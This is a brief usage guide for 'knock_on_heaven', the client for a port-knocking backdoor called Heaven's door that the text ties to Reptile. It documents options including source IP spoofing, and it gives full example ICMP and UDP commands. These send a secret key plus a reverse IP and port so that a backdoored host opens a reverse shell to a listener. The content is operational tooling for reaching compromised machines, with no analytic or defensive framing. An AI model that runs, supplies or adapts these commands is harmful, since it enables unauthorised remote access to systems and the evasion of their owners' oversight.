Knocking on heaven's door
Heaven's door is a ICMP/UDP port-knocking backdoor used by Reptile. To access the backdoor you can use the client:
Knock Knock on Heaven's Door
Writen by: F0rb1dd3n

Usage: ./knock_on_heaven <args>

-x      protocol (ICMP/UDP)
-s      Source IP address (You can spoof)
-t      Target IP address
-p      Source Port
-q      Target Port
-d      Data to knock on backdoor: "<key> <reverse IP> <reverse Port>"
-l      Launch listener

[!] ICMP doesn't need ports

ICMP: ./knock_on_heaven -x icmp -s 192.168.0.2 -t 192.168.0.3 -d "F0rb1dd3n 192.168.0.4 4444" -l
UDP:  ./knock_on_heaven -x udp  -s 192.168.0.2 -t 192.168.0.3 -p 53 -q 53 -d "F0rb1dd3n 192.168.0.4 4444" -l
